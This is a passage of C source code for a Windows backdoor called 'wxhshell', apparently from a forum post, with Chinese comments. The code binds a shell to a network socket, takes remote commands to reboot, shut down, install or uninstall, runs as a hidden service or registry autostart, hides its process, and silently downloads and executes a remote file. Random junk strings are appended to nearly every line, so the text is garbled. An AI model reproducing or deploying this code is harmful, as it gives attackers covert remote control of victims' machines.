    switch(cmd[0]) { =mR~\R( I  
  V=^B7a.;>  
  // 帮助 F<.oTP-B  
  case '?': { Ov8^6O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z$ ?(~ln  
    break; }uZ/^_U.  
  } GuK3EM*_  
  // 安装 !/nXEjW?  
  case 'i': { Hjhgu=  
    if(Install()) V>Dqw!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5aj%<r  
    else .~$!BWP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fn>KdoByN  
    break; o|:c{pwq  
    } ;w/@_!~  
  // 卸载 cWtuI(.  
  case 'r': { R [ZY;g:p  
    if(Uninstall()) Emy=q5ryl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /< k&[  
    else .;rE4B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vf&_ N  
    break; J':X$>E|  
    } ziDvDu=  
  // 显示 wxhshell 所在路径 dx@|M{jz'  
  case 'p': { L4DT*(;!E  
    char svExeFile[MAX_PATH]; ?(Se$iTZ  
    strcpy(svExeFile,"\n\r"); g.Tc>?~  
      strcat(svExeFile,ExeFile); <%o9*)F  
        send(wsh,svExeFile,strlen(svExeFile),0); H )51J:4  
    break; N5[^W`Qf  
    } <Y]e  
  // 重启 * N]^(+/A  
  case 'b': { 3 ,zW6 -}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Xh}S_/9}5  
    if(Boot(REBOOT)) |nCVM\+5T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fB80&G9  
    else { _ amP:h  
    closesocket(wsh); d^=9YRc  
    ExitThread(0); 8.,d`~  
    } .TMLg(2hgv  
    break; IRGcE&m  
    } FsO_|r  
  // 关机 Fc#Sn2p*  
  case 'd': { 4O{G^;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AsD$M*It  
    if(Boot(SHUTDOWN)) b'``0OB)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZIKSHC9  
    else { ollsB3]]  
    closesocket(wsh); uNkJe  
    ExitThread(0); (3Q$)0t  
    } a:8 MoH4  
    break; PB *v45  
    } gu6%$z  
  // 获取shell l\F71pwSI  
  case 's': { ? cXW\A(  
    CmdShell(wsh); )X;051Q  
    closesocket(wsh); oYdE s&qq  
    ExitThread(0); iciKjXJ :  
    break; dB6['z)2  
  } ZNne 8  
  // 退出 #}Yrxf  
  case 'x': { 9dw* ++  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k3H0$1  
    CloseIt(wsh); "={*0P  
    break; 8\"Gs z  
    } +%v1X&_\  
  // 离开 t7l{^d_L  
  case 'q': { 5x%Blkx  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m% 3D  
    closesocket(wsh); F~i ~%f,  
    WSACleanup(); j g//I<D  
    exit(1); gROK4'j6y  
    break; Q5ff&CE  
        } >s 6ye  
  } O!%T<2i3  
  } J^`5L7CO  
`3 i<jZMG  
  // 提示信息 d|oO2yzWv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [al$sCD]+  
} E_En"r)y  
  } yq49fEgc@U  
_XT'h;m  
  return; Bcarx<P-p  
} t"Ci1"U  
E(j# R"  
// shell模块句柄 *2u~5 Kc<  
int CmdShell(SOCKET sock) m0 As t<u  
{ JLnv O  
STARTUPINFO si; R2n 2mQ<  
ZeroMemory(&si,sizeof(si)); :^ WF% X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +^lB"OcOX@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h Fik>B#!  
PROCESS_INFORMATION ProcessInfo; ?!&%-R6*  
char cmdline[]="cmd"; ) PTvw>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n Syq}Y3  
  return 0; \?>M?6D  
} Kc?4q=7q  
chKK9SC+|  
// 自身启动模式 fCx (  
int StartFromService(void) jtlRom}  
{ \$ipnQv  
typedef struct $GFR7YC 7  
{ sde>LZet/  
  DWORD ExitStatus; v8*)^-Fx  
  DWORD PebBaseAddress; R`cP%7K  
  DWORD AffinityMask; !CWe1Dm  
  DWORD BasePriority; .Zczya  
  ULONG UniqueProcessId; >P SO]%mE  
  ULONG InheritedFromUniqueProcessId; :${tts2g  
}   PROCESS_BASIC_INFORMATION; `,-mXxTNT  
WN+i3hC  
PROCNTQSIP NtQueryInformationProcess; GeTk/tU  
##=$ $1Ki  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~_vSMX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bu|.Jw"  
Ha`N  
  HANDLE             hProcess; 7Hr_ZwO/^  
  PROCESS_BASIC_INFORMATION pbi; ![\-J$  
 ~2"hh$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L"|Bm{Run  
  if(NULL == hInst ) return 0; 80*hi)ux[  
*z?Uh$I4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &bW,N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^PTf8o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j4?Qd0z  
x%=CEe?6  
  if (!NtQueryInformationProcess) return 0; k0e}`#t  
P>C'? 'Q7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L'e^D|  
  if(!hProcess) return 0; yov~'S9  
aDK b78 1d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]=00<~ l*q  
$+'H000x  
  CloseHandle(hProcess); :3n@].  
dT|f<E/P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {R!yw`#^B  
if(hProcess==NULL) return 0;  ma~#E$i&  
PC_!  
HMODULE hMod; b&U1^{(  
char procName[255]; &J6`Q<U!  
unsigned long cbNeeded; B$_4 ul\)  
etr-\Cp  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  vmqa_gU\  
g#J aw|N  
  CloseHandle(hProcess); <: v+<)K  
'Rn-SD~gIr  
if(strstr(procName,"services")) return 1; // 以服务启动 ST*h{:u&A  
W%!(kN&d  
  return 0; // 注册表启动 4!/JN J  
} R |c=I }@F  
DXiA4ihr=  
// 主模块 %e E^Y<@g  
int StartWxhshell(LPSTR lpCmdLine) DXLXGvcM  
{ j>\c > U  
  SOCKET wsl; LTWkHy x  
BOOL val=TRUE; <b:%o^  
  int port=0; ,Xn2xOP  
  struct sockaddr_in door; |Kd#pYt%O  
p R'J4~  
  if(wscfg.ws_autoins) Install(); ~Ru\Z-q1  
kamQZzPe  
port=atoi(lpCmdLine); U**8^:*y#:  
Rd#R}yA  
if(port<=0) port=wscfg.ws_port; x0 )V o]r  
<~ smBd  
  WSADATA data; V?u#WJy/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RQ,#TbAe  
BsQ;`2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   y(COB6r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =w$&n%~  
  door.sin_family = AF_INET; y]j.PT`Cw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W0gS>L_  
  door.sin_port = htons(port); yLa@27T\A  
54_}9_g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z.\q$U7'9  
closesocket(wsl); WX&IQ@  
return 1; ")Fd'&58  
} v)5;~.+%  
#J[g r_  
  if(listen(wsl,2) == INVALID_SOCKET) { `OfhzOp  
closesocket(wsl); j 6qtR$l|  
return 1; P7drUiX  
} M)bQvjj  
  Wxhshell(wsl); 8}'iEj^e  
  WSACleanup(); Tv``\<   
X=sE1RB  
return 0; %SmOP sz  
WcN4ff-  
} KdEvu?  
v vErzUxN  
// 以NT服务方式启动 fbq$:Q44  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Sy8t2lk  
{ Yk Ku4f  
DWORD   status = 0; Px_8lB/;  
  DWORD   specificError = 0xfffffff; 7<j!qWm0  
w  S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v$}^$8`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @@ Q4{o  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bQaRl=:[:  
  serviceStatus.dwWin32ExitCode     = 0; Id=20og  
  serviceStatus.dwServiceSpecificExitCode = 0; w~]2c{\Qz  
  serviceStatus.dwCheckPoint       = 0; n_QuuUB  
  serviceStatus.dwWaitHint       = 0; k \OZ'dS  
yhH2b:nY(9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5Q10Ohh  
  if (hServiceStatusHandle==0) return; 6qZQ20h  
KMhrw s{&B  
status = GetLastError(); wkt4vE87  
  if (status!=NO_ERROR) +Y?Tri  
{ khX/xL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; fk}Raej g  
    serviceStatus.dwCheckPoint       = 0; QytO0K5  
    serviceStatus.dwWaitHint       = 0; Sm/8VSY  
    serviceStatus.dwWin32ExitCode     = status; WA n@8!9  
    serviceStatus.dwServiceSpecificExitCode = specificError;  <$nPGz)}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K'&,]r#  
    return; ?O 25k!7  
  } U N?tn}`!  
xM_#FxJb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HS=w9:,  
  serviceStatus.dwCheckPoint       = 0; I gJu/{:y^  
  serviceStatus.dwWaitHint       = 0; -l=C7e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cC8$oCR?  
} '&CZ%&(Gw  
P}6#s'07~  
// 处理NT服务事件,比如:启动、停止 as:=QMV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tN{0C/B9  
{ H;=yR]E  
switch(fdwControl) @;EQ{d  
{ 3n2^;b/]  
case SERVICE_CONTROL_STOP: o9sQ!gptw  
  serviceStatus.dwWin32ExitCode = 0; +9HU&gQ3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #o&T$D5  
  serviceStatus.dwCheckPoint   = 0; R5sEQ| E  
  serviceStatus.dwWaitHint     = 0; !d##q)D f?  
  { %Vo'\|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I85wP}c(  
  } $bp'b<jx  
  return; d^'_H>x  
case SERVICE_CONTROL_PAUSE: ejg!1*H@n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6?"Gj}|r  
  break;  !5 S#  
case SERVICE_CONTROL_CONTINUE: ccv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <,Gjo]z  
  break; 1dr g5  
case SERVICE_CONTROL_INTERROGATE: d Np%=gIj  
  break; mcwd2)  
}; n_sV>$f-u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?r;F'%N=  
} 2Jo|P A` 9  
PR;Bxy  
// 标准应用程序主函数 aaVq>$G 3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q8TR@0d  
{ ^cd bM  
QP%AJ[3ea%  
// 获取操作系统版本 E:}s 6l  
OsIsNt=GetOsVer(); 6heK8*.T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); oKRI2ni$j9  
JA >&$h  
  // 从命令行安装 9 'X"a  
  if(strpbrk(lpCmdLine,"iI")) Install(); B4OFhtYE  
KjA7x  
  // 下载执行文件 Z'AjeZyyE  
if(wscfg.ws_downexe) { Y}vV.q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :hHKm|1FE  
  WinExec(wscfg.ws_filenam,SW_HIDE); i [/1AI  
} y=GDuU%  
jxK `ShW=  
if(!OsIsNt) { 9aID&b +  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~H ctXe'x  
HideProc();  LWo)x  
StartWxhshell(lpCmdLine); dn5t7D^ x  
} RG1#\d-fE  
else PtjAu  
  if(StartFromService()) Ornm3%p+e  
  // 以服务方式启动 8v)Z/R-  
  StartServiceCtrlDispatcher(DispatchTable); &sq q+&ao  
else j97c@  
  // 普通方式启动 F0xm% ?  
  StartWxhshell(lpCmdLine); i;2V   
'pAq;2AA  
return 0; 2J(,Xf  
}
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只看该作者 1 发表于: 2006-10-10
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